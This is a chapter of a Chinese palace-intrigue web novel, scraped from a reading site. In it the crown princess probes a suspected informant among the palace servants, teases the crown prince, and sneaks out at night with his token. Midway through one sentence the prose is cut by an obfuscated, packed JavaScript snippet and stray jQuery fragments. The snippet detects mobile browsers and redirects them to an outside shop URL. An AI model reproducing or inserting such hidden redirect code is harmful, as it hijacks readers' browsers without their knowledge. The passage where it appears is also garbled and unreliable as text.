默认冷灰
24号文字
方正启体

27. 第 27 章

作者:Winmonath本书字数:K更新时间:
    叶小寻并非坐以待毙之人。


    既然知道了沈道衍与师贵妃的狼子野心,她便不能坐以待毙。


    东宫里的内鬼还是得继续查。


    祝凝陪着她一点点查点卯表,小厨房里一个负责灶火的岳嬷嬷,引起了她的注意。


    西山事发那晚,岳嬷嬷并不在当值,且第二日便告了病,一直在耳房歇息。


    叶小寻看得心惊肉跳。


    祝凝每日都在小厨房为她煎药,殊不知最可疑的人就在近旁?


    她顿觉背脊生寒,幸亏祝凝行事缜密,煎药时从不假手于人,药渣也是亲自处理。


    此事若暴露,师贵妃想必早已发难。


    叶小寻唤来祝凝,压低声音问道:“祝凝,你在这东宫待得久,依你看,这宫里的人心如何?”


    祝凝一边替她整理着书案上的卷宗,一边答道:“娘娘放心,殿下御下极严,却也赏罚分明。若论忠心,这满宫上下,怕是没人比东宫的奴才更赤诚了。”


    “赤诚归赤诚。”叶小寻若有所思,“若是被拿捏住了软肋,有没有可能被迫为虎作伥呢?”


    她脑海中再次浮现出西山那晚的惊险一幕。


    那个率先向她发难的灰衣人,身法虽利落,却似乎并未下死手。


    尤其是那第一刀,分明有机会直取她咽喉,却偏偏只划向了无关痛痒的衣袖。


    想到此处,叶小寻眼神一凛,吩咐道:“你去帮我私下打听打听,最近东宫里的下人,有没有谁家里突然出了事?比如老人生病、欠了赌债,或是遇到了什么过不去的坎儿。”


    这一查,还真让祝凝查出了一件蹊跷事。


    正如叶小寻所料,问题还是出在那个岳嬷嬷身上。


    据同在小厨房当差的小宫女碎嘴提及,岳嬷嬷最近总是魂不守舍,有时切菜还会切到手。


    旁人问起,她只含糊说是家中幼弟得了重病。


    可当周嬷嬷好意问她是否需要告假回乡照料时,她却又神色慌张地拒绝了。


    “幼弟重病却不肯回去?”叶小寻眯了眯眼。


    ……


    岳嬷嬷被传唤至偏殿时,一直低垂着头,双手交叠在身前,显得格外拘谨。


    这是一个三十出头的妇人,面容清秀却透着股愁苦之色,眉宇间似有散不去的阴霾。


    “奴婢岳氏,参见太子妃娘娘。”


    叶小寻端坐在软榻上,收起了平日里的嬉皮笑脸,摆出一副正经主子的架势。


    她端起茶盏轻轻撇去浮沫,并未叫起,只是淡淡道:“听说你家中近日不大太平?既然幼弟重病,为何不告假回去照看?”


    依照大晟律例,宫人若遇直系亲属重病且家中无人照拂,是可特批离宫省亲的,这也是皇家彰显仁德之举。


    岳嬷嬷仍旧伏在地上,声音低哑:“回娘娘的话,奴婢家中父母早亡,只剩这么一个弟弟。前些日子确实是病了,但幸有邻里乡亲照拂,倒也不必奴婢特意跑这一趟。”


    叶小寻盯着她的发顶,并未立刻接话。


    直到那杯茶的热气快散尽了,叶小寻才慢悠悠地开了口:“既然是亲生姐弟,哪怕邻里再热心,终究也是外人。若是有什么缺银子的地方,或者是旁的难处,尽管开口。本宫虽不才,但这东宫里的人,本宫还是护得住的。你也知道,依照宫规,这省亲期间,月例银子也是照发不误的,不必担心生计。”


    岳嬷嬷半点情绪也无,淡然道:“劳娘娘费心了。奴婢曾受先皇后大恩,发誓此生以东宫为家。这点私事,奴婢自己能应付,断不敢因此叨扰殿下与娘娘清净。”


    叶小寻心头一跳。


    岳嬷嬷那语气里的决绝与无奈,分明是在掩饰什么。


    若是逼得太紧,只怕这线索就断了。


    叶小寻心念一动,幽幽叹了一声:“既如此,那本宫也不勉强。你且退下吧,若是日后改了主意,或是真遇上了难处,记得来找祝凝。”


    “谢娘娘恩典。”


    岳嬷嬷重重磕了个头,退出去时的背影,竟显得有些佝偻和萧索。


    ……


    这厢试探未果,叶小寻心里有些发堵。她提起裙摆,也没带侍女,径直往容慎的书房去了。


    书房外的庭院里,几个小宫女正围在一起,将几块上好的梨花木板堆叠起来,正有模有样地拿着砂纸打磨。见叶小寻出来,还朝着书房那边跑,几人相视一笑。


    她轻手轻脚地进了书房。


    容慎正端坐在案前看书,听见动静,连眼皮都没抬一下,仿佛早已习惯了她的不请自来。


    叶小寻也不客气,自顾自地找了张离他不远不近的圈椅坐下,托着腮帮子盯着他看。


    容慎这人,定力好得惊人。


    他不说话,也不问她来做什么,就这么晾着她,仿佛在比谁先沉不住气。


    果然,不过一盏茶的功夫,叶小寻就坐不住了。


    她清了清嗓子,试图打破这令人窒息的沉默。


    “殿下?”


    容慎翻过一页书,依旧没抬头:“说。”


    “许久未见霍家公子了,也不知他最近怎么样?”叶小寻试探着问道。


    容慎翻书的手指一顿,终于舍得抬起眼皮,凉凉地瞥了她一眼。


    特地跑来书房找他,就为了问别的男人?


    “不知。”他声音冷了几分,“兴许还活着吧。”


    叶小寻一噎:“……我还以为你们两个是朋友,怎么对他这么冷淡?”


    “你们也不是朋友,怎么对他这么上心?”容慎反唇相讥。


    叶小寻语塞。


    “算了,不说这个。”叶小寻眼珠子一转,生硬地转移了话题,“上次那个糖苹果,好吃吗?”


    容慎重新低下头看书,没理她。


    叶小寻也不气馁,凑近了几分,笑眯眯道:“下次我再给你买糖葫芦回来,怎么样?我还听说,最近市面上有了西域进贡的洋柿子,若是裹上糖衣,味道肯定也是极好的。”


    “你想吃,孤可以让涤墨去买。”容慎淡淡道。


    “那怎么行?”叶小寻一听就急了,竖起柳眉道,“这种东西,讲究的就是一个刚出锅放凉那会儿,糖衣是脆的,放久了口感就差远了。上次那是没法子,下次要吃,自然是要在它最好吃的时候吃,咱们得一起出去才行。”


    “一起出去?”容慎轻嗤一声,终于放下了手中的书卷,目光沉沉地看着她,“还嫌惹的事情不够多吗?上次那一刀还没让你长记性?”


    叶小寻有些心虚地缩了缩脖子,但很快又理直气壮起来:“我哪有惹事情?我又没说现在就要出去。我这叫邀请!懂不懂呀?”


    容慎眼睛已经不看她了,唇角勾起一抹极淡的弧度:“那便等能出去了再说吧。”


    “真的?”叶小寻眼睛一亮,立刻顺杆往上爬,挤出一个灿烂的笑脸,“那我就当你答应了!君子一言,驷马难追哦!”


    说完,她起身行了个不像样的礼,转身便溜了出去。


    然而,刚一跨出书房门槛,她脸上的笑容瞬间就垮了下来。


    “等能出去再说”?这话听着好听,实则是遥遥无期。看他这架势,短时间内是不打算放她出宫了。


    “没关系,你不带我去,我难道还没长腿吗?”


    叶小寻一边在心里嘀咕,一边若无其事地将手探入袖袋,指尖触到一块冰凉坚硬的令牌。


    “叶小寻啊叶小寻,赋闲多日,这手艺倒是还没生疏。”


    她得意地勾了勾唇角。


    ……


    晚膳时分,送汤药来的竟不是祝凝,而是岳嬷嬷。


    叶小寻有些惊讶。这是岳嬷嬷第一次进内殿侍奉。


    岳嬷嬷端着托盘,低眉顺眼地走到榻前:“娘娘,药煎好了,趁热喝了吧。”


    叶小寻心里莫名有些打鼓。


    这药……应该没问题吧?


    她不动声色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132735|196239||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地凑近闻了闻,气味与平时无异,并没有什么异味。


    “娘娘?”岳嬷嬷见她迟疑,又轻唤了一声。


    “哦,好。”叶小寻压下心头的疑虑,端起药碗,慢慢地抿了一口。


    药汁入口苦涩,含在嘴里好半天,确认没什么异样,才缓缓咽下。


    就在她准备一口气喝完时,一直沉默不语的岳嬷嬷忽然开了口。


    “娘娘是霍家长女,如今身处这深宫之中,一言一行皆系着霍家满门荣辱。”


    岳嬷嬷的声音极低,只有她们二人能听见。


    叶小寻动作一顿,抬眼看她。


    岳嬷嬷并未抬头,依旧维持着恭敬的姿势。


    “恕奴婢多嘴,若娘娘手上有什么不该拿的东西,那便是祸患。那些豺狼虎豹若是知晓了,第一件事便是要将娘娘与霍家扒皮抽筋,吸血食髓。如今殿下与霍家已是同舟共济,牵一发而动全身。娘娘即便不为自己考虑,也该为殿下考虑。若不想为殿下考虑,也该为霍家那几百口无辜之人考虑。还望娘娘三思。”


    叶小寻握着药碗的手猛地收紧,指节泛白。


    她想追问,可岳嬷嬷已经直起身子,恢复了那副木讷寡言的模样,接过空碗,行礼道:“奴婢告退。”


    看着岳嬷嬷退出去的背影,尤其是最后那个带着某种决绝意味的眼神,叶小寻心中那股不安感愈发强烈。


    “不能再等了。”


    叶小寻猛地站起身。她不愿再在这猜哑谜的游戏里浪费时间。


    现在的当务之急,是必须把师贵妃和沈丞相要对霍家下手的消息传递出去。


    霍家已经失去了一个女儿了,还要为了这纷争失去多少?


    夜色渐浓。


    叶小寻摸进祝凝的耳房,熟练地换上了一身不起眼的小宫女衣裳,又将头发打散重新梳了个双丫髻。


    这身打扮,再加上她刻意收敛气息,若是低着头走在夜色里,活脱脱就是个刚进宫不久的小丫头片子。


    她摸了摸怀里的太子令牌,深吸一口气,提着一盏样式普通的宫灯,光明正大走出了东宫正门。


    这一次,翻墙反而危险。


    自从上次西山事发,师贵妃显然加强了宫闱戒备,墙头屋顶全是暗哨。


    刚走到宫门口,两柄长戟便交叉挡住了去路。


    “站住!此时已过宵禁,你是哪个宫的?要去何处?”


    当值的禁军统领厉声喝问,手中的灯笼毫不客气地怼到了叶小寻脸上。


    叶小寻被强光晃得眯了眯眼,却并未慌张。她稳了稳心神,沉声道:“东宫。”


    禁军统领借着灯光上下打量了她一番,狐疑道:“东宫?看着面生得很啊。这么晚了,不在宫里伺候,乱跑什么?”


    叶小寻挺直了腰杆,冷哼一声:“我是涤墨大人手底下办事的,专管殿下的私库杂务,平日里极少露面,你看着自然面生。至于这差事……”


    她顿了顿,从袖中掏出那块沉甸甸的金令,在统领眼前晃了晃,“我奉太子殿下密令出宫办事,事关重大。若是耽搁了时辰,误了殿下的大事,你们几个脑袋够赔?”


    禁军统领面色一变,虽然仍有疑虑,但这令牌做不得假。


    “既是殿下密令,那便快去快回。”


    统领挥了挥手,示意放行。


    “多谢。”


    叶小寻收起令牌,扬起下巴,脚步从容地穿过宫门。每一步都走得不紧不慢,仿佛真的只是奉命办事的宫女。


    直到彻底走出了皇城那厚重的朱红大门,拐进了无人的暗巷,她才猛地松了一口气,靠在墙根下大口喘息。


    “好险……”


    她摸了摸早已湿透的后背,苦笑一声。


    但现在不是庆幸的时候。


    她必须尽快找到霍清珏。


    夜风微凉,卷起地上的落叶。


    一道娇小的身影融入夜色之中,朝着镇国公府的方向疾驰而去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)